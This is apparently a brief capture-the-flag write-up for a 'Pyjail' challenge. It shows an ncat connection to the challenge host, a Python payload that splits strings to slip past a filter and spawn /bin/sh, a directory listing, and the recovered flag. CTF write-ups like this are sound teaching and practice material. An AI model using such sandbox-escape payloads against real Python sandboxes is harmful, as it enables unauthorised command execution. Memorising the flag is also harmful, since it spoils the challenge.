Pyjail
Challenge
Solution
$ ncat intro.ctfrei.fr 4451
>>> "__import__('o'+'s').sy"+"stem('/bin/sh')"
ls -al
total 20
drwxr-xr-x 1 nobody nogroup 4096 Sep 29 11:37 .
drwxr-xr-x 1 nobody nogroup 4096 Sep 29 11:37 ..
-r--r--r-- 1 nobody nogroup 26 Sep 23 22:31 flag.txt
-rwxr-xr-x 1 nobody nogroup 582 Sep 26 15:42 run
cat flag.txt
CTFREI{pyj41l5_my_b4l0v3d}Mis à jour